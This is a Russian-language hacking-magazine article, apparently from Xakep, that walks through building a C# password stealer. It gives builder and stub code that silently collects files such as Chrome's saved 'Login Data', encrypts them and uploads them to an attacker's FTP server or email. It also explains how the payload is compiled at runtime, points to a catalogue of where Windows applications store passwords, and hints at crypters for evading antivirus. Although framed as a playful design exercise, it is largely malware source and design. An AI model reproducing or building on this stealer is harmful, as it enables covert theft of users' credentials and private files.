Содержание статьи
Для начала — соберись с духом и обновись наконец на бесплатную Visual Studio Community 2013 :). На дворе 2015 год, и сидеть на старой Visual Studio Express уже не круто. Как поставишь — загляни в раздел Extensions and updates и установи несколько полезных расширений, таких как Resharper или Productivity Power Tools 2013. Для анализа полученных сборок вполне подойдет бесплатный декомпилер dotPeek, это очень хорошая утилита, которая покажет, что там получилось, и может построить солюшен и файл с отладочными символами.
Кратко о программе
- Умеет брать заданные файлы, шифровать и высылать на FTP или email.
- Написан с применением 22-го паттерна каталога GOF «Шаблонный метод», очень легко расширять ассортимент для пересылки. На выходе exe 9 Кб.
- Только сам билдер может открыть полученный контейнер (сериализованный словарь
), расшифровать и вынуть сохраненные файлы. - Ключ хардкорный.
- Иконку не задает, от аверов не бегает.
Ставим задачи и определяем требования
Итак, попробуем предположить, как хакеры размышляют на данном этапе. Для них проблема заключается в том, что у пользователя есть файлы, которые интересны не только ему. Возможно, юзер даже и не знает, что они существуют и где точно расположены, но от этого хакерам легче не становится. Надо каким‑то образом получить их копию и посмотреть, что внутри, — кто знает, может быть, это именно то, что нужно?
Чтобы своими действиями не беспокоить пользователя, не прерывать его сериалы и не мешать общению в социальных сетях, хакеры добавляют в свои программы определенный функционал. Их программы имеют небольшой размер и молча выполняют свою работу (silent mode). Целевой платформой на сегодняшний день обычно выбирают Windows 7 и более старшие версии. XP — дело хорошее, но она сдает позиции, и, по данным одного известного антивирусного разработчика, ее доля на конец 2015 года составит всего 16–17%.
Проектируем и конструируем
По телевизору говорят, что хакеры всегда сидят за компьютерами в масках и перчатках :). Чтобы им было не так жарко программировать, давай поставим задачу: программа должна быть реально маленькой. Как по количеству строк кода, так и по размеру исполнимого файла.
Итак, в Visual Studio создаем новое оконное приложение и определяем несколько пространств имен (namespace):
- Stealer — логика и интерфейс;
- Stealer.Targets — файлы, которые будут целью программы;
- Stealer.STUB — собственно сам стаб;
- Stealer.Extension — расширяющие методы (один потребуется).
Нужно это, чтобы не путаться в том, какой класс куда вложить и, соответственно, где его потом искать. Собственно самих классов будет не так много, в основном это различные реализации абстракции AbstractFile (22-й паттерн из каталога GOF «Шаблонный метод»). Вот его код:
namespace Stealer.Targets{ abstract class AbstractFile { public byte[] DoJob() { return IsExist() ? GetFile() : null; } public abstract bool IsExist(); public abstract byte[] GetFile(); }}
Основная идея этого класса заключается в формировании структуры алгоритма, который уже будет реализован в Google Chrome, ICQ, Skype и так далее.
DVD
Сорцы проекта ждут тебя на dvd.xakep.ru. Чтобы не слишком радовать скрипткиддисов и не раздражать служителей закона, напрямую они не компилируются. Придется исправить кое‑какие минимальные ошибки. Так что все грехи — на твоей совести!
Да, небольшое дополнение. В данном примере логика работы приложения находится внутри разделяемого класса Form, если хочется дополнительно реализовать консольный или WPF-интерфейс, то ее следует вынести отдельно и подписаться на группу ожидаемых событий. Подробнее про правильную архитектуру можно почитать у Стива Макконнелла (Code complete).
Интерфейс
На созданном в дизайнере окне накидывается меню, три комбобокса, две кнопки, шесть текстбоксов с лейблами и одиннадцать чекбоксов. Примерная группировка и расположение этих элементов показана на картинке. Стиль окна выставляется в «диалог», чтобы его нельзя было развернуть на весь экран. Иконка по вкусу, в сети есть архивы с тысячами экземпляров на любой вкус. Подписка будет реализована на три события, а именно на нажатие на копки Check all, BUILD и пункт меню «&OpenFile...». На этом дизайн визуальной части приложения заканчивается, двигаемся дальше.
Код под кнопками мог бы быть весьма тривиальным, но, как говорится, не тут‑то было. Выдержка из BUILD:
var replaceAdd = new StringBuilder();var replaceClass = new StringBuilder();var checkedBoxes = this.AllControls<CheckBox>().Where(c => !c.Text.Contains("-")).Where(c => c.Checked);foreach (CheckBox checkBox in checkedBoxes){ string className = checkBox.Text; replaceAdd.AppendLine(string.Format(@"_filesList.Add(new {0}());", className)); var item = GetResource(string.Format(@"Stealer.Targets.{0}.cs", className)); replaceClass.AppendLine(CutTheClass(item));}stub.Replace(@"//[Add_toList]", replaceAdd.ToString());stub.Replace(@"//[Class]", replaceClass.ToString());
Стандартными средствами пройтись по коллекции активных чекбоксов возможно, но зачем писать так просто, когда есть красивые решения на страницах Stack Overflow? Это и объясняет появление дополнительного пространства имен для подсмотренного метода расширения, где он и расположен (по совету Трея Нэша в книге Accelerated C# 2010). Фишка этого решения также в том, что все классы, реализующие абстракцию, являются вложенными ресурсами приложения (далее показано, как это сделать) и имеют то же имя, что и текст на чекбоксах. Поэтому всего‑то нужно пробежаться по всем активным элементам и собирать их имена, попутно добавляя в коллекцию и заменяя метку в классе стаб, //[Add_toList] для добавления в List и //[Class] для определения самих классов. Адрес FTP, пароль, логин и данные для почты реализованы стандартно — получил текст с элемента управления и вставил в стаб.
Получение самих ресурсов происходит следующим образом. Создается экземпляр var assembly = Assembly.GetExecutingAssembly(), и в потоке Stream stream = assembly.GetManifestResourceStream(resourceName) происходит чтение данных до конца и возврат строки текста. Переменная resourceName имеет значение @"Stealer.STUB.Stub.cs" что соответствует полному пути расположения указанного файла. Аналогичным образом ведется работа с другими элементами решения, в коде эта строка выглядит так: "@"Stealer.Targets.{0}.cs", className", где className — это имя класса и текст на чекбоксе.
Задача кнопки Check all сводится к управлению галочками сразу на всех целях. Реализуется это через приватное поле класса Form булева типа и один метод, который принимает это значение в качестве аргумента, применяя его к каждому чекбоксу. На обработчике события считывается значение указанного поля и передается методу, по завершению его работы оно меняется на противоположное.
Переходим к «&OpenFile...». Здесь придется забежать немного вперед, перед прочтением рекомендую ознакомиться с разделом «Стаб». Код в данном обработчике организован стандартным способом, открывается OpenFileDialog и получает полное имя файла (содержащее путь), читает его в FileStream и копирует в MemoryStream для того, чтобы можно было расшифровать байты. В итоге имеем исходный поток, который надо десериализовать (Deserialize) в словарь, созданный в стабе Dictionary
Стаб
Это класс, который будет скомпилирован в отдельную исполняемую сборку с помощь экземпляра CSharpCodeProvider и метода CompileAssemblyFromSource. Для того чтобы он стал доступным для чтения в рантайме, нужно в его параметрах (F4) указать Build Action = Embedded Resource, а строкой ниже Do not copy. Чтобы студия не ругалась на два метода Main, в настройках проекта указывается Startup object = Stealer.Program, это на тот случай, когда класс «Стаб» не является ресурсом и можно провести анализ кода на наличие ошибок. Теперь давай посмотрим на пример кода.
namespace Stealer.STUB...public class Stub{ private static List<AbstractFile> _filesList = new List<AbstractFile>(); public static void Main(string[] args) { DoJob(); } private static void DoJob() { //[Add_toList] Dictionary<string, byte[]> _files = new Dictionary<string, byte[]>(); foreach (AbstractFile targetFile in _filesList) { var data = targetFile.DoJob(); if (data != null) { _files.Add(targetFile.ToString(), data); } } using (MemoryStream memoryStream = new MemoryStream()) { BinaryFormatter formatter = new BinaryFormatter(); formatter.Serialize(memoryStream, _files); byte[] encodedBytes = Encrypt(memoryStream.ToArray()); if (_sendViaFtp) { SendViaFtp(encodedBytes); } if (_sendViaEmail) { SendViaEmail(encodedBytes); } } }}//[Class]
В первую очередь здесь следует обратить внимание на то, что вся основная работа выполняется с использованием обобщенной коллекции List и абстракции. Все элементы коллекции апкастятся до абстрактного класса, и на их экземплярах вызывается метод DoJob, который проверяет, есть ли искомый файл, и, если ответ да, он пытается его достать. Далее каждый полученный файл помещается в коллекцию Dictionary
В листинге не отображены методы SendViaFtp и SendViaEmail, примеры которых будут показаны далее, метод Encrypt (на самом деле конкретная реализация не имеет значения, выбирается любой симметричный алгоритм), класс AbstractFile и поля класса, которые будут хранить в себе логины, пароли а также ключи шифрования. На этом все, больше ничего интересного и нового в стабе нет.
Алгоритм получения файлов
Благодаря паттерну «Шаблонный метод» проектировать классы для поиска и получения файлов стало очень просто, можно добавлять десятки новых, и при этом не потребуется вносить никаких изменений в использующий их код, то есть стаб. Вызывающей стороне все равно, что и как реализовано внутри, называется это дело абстрагированием вариантов исполнения. Для примера посмотрим на реализацию класса GoogleChrome, из названия которого можно догадаться о том, что именно он должен найти и скопировать.
namespace Stealer.Targets...class GoogleChrome : AbstractFile{ private string _path = null; public override bool IsExist() { string userNamePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); _path = string.Format(@"{0}\Google\Chrome\User Data\Default\Login Data", userNamePath); return File.Exists(_path); } public override byte[] GetFile() { string pathCopy = Path.GetTempPath() + Path.GetRandomFileName(); File.Copy(_path, pathCopy); byte[] data = File.ReadAllBytes(pathCopy); File.Delete(pathCopy); return data; } public override string ToString() { return "GoogleChrome"; }}
Метод ToString переопределен для того, чтобы словарь из стаба было удобнее заполнять и анализировать при получении. Другие классы по поиску файлов выглядят идентично, разница лишь в пути и, возможно, наличии дополнительных проверок в зависимости от типа хранения. Чтобы не забыть, какие методы надо реализовать от унаследованного класса, или просто сократить время клавиатурного ввода, на AbstractFile можно нажать мышкой и подождать появления подсказки implement abstract class, которая автоматически построит нужный код.
Программирование без напряга
Узнать, сколько всего можно дописать в программе без особых усилий и как сэкономить кучу времени на личных исследованиях, хакерам помогает ресурс Password Secrets of Popular Windows Applications, на нем заботливо выложена информация о расположении интересующих файлов и утилит для анализа.
Алгоритм отправки файлов
Как видно на картинке главной формы приложения, в этой части будет обсуждаться пример реализации отправки по FTP и email. Начнем с первого. В конструкторе FtpWebRequest задается URL из текстбокса главной формы, который был вставлен на свою метку в стабе. К нему также добавляется имя передаваемого файла, в качестве которого используется Environment.UserName в связке с Path.GetRandomFileName. Это сделано с той целью, чтобы пользователи с одинаковыми именами не перезатирали друг друга. Метод транспортировки устанавливается в WebRequestMethods.Ftp.UploadFile, и указывается NetworkCredential(_ftpUser, _ftpPass) по аналогии с URL. Работоспособность метода проверяют на локальном FTP, для этого был использован smallftpd 1.0.3.
С почтой поначалу возникали некоторые проблемы, а все из‑за изменений в правилах подключения (подробнее можно почитать здесь: «Использование SmtpClient для отправления почты через SMTP-сервер»). Формирование письма начинается с вложения, и, так как в метод для отправки передается массив байтов, а конструктор Attachment ждет MemoryStream, переводим его в MemoryStream в начале метода, используя директиву using. Имя файла задается аналогично FTP. В самом сообщении MailMessage инициализируются свойства From, Subject, Body, Sender, To, и завершает эстафету вызов Attachments.Add(attachment), добавляя созданное вложение. Далее следует экземпляр SmtpClient, который заполняется аналогично сообщению. И наконец, строка smtpClient.Send(mail); отправляет сформированное письмо на почтовый сервер.
Заключение
Сегодня мы пофантазировали на тему, как мог бы выглядеть Stealer на C#, рассмотрели его возможное внутреннее устройство и преследуемые цели. Замечу, что в ходе экспериментов мой антивирус начал подавать сигнал тревоги, только когда был добавлен метод Encrypt, до этого программа могла отправлять файл по FTP куда угодно. С появлением опции отправки по почте имя определяемой «малвари» изменилось на «троян»... а вот про то, как с этим борются хакеры, читай в предыдущих выпусках ][ в статье про крипторы :).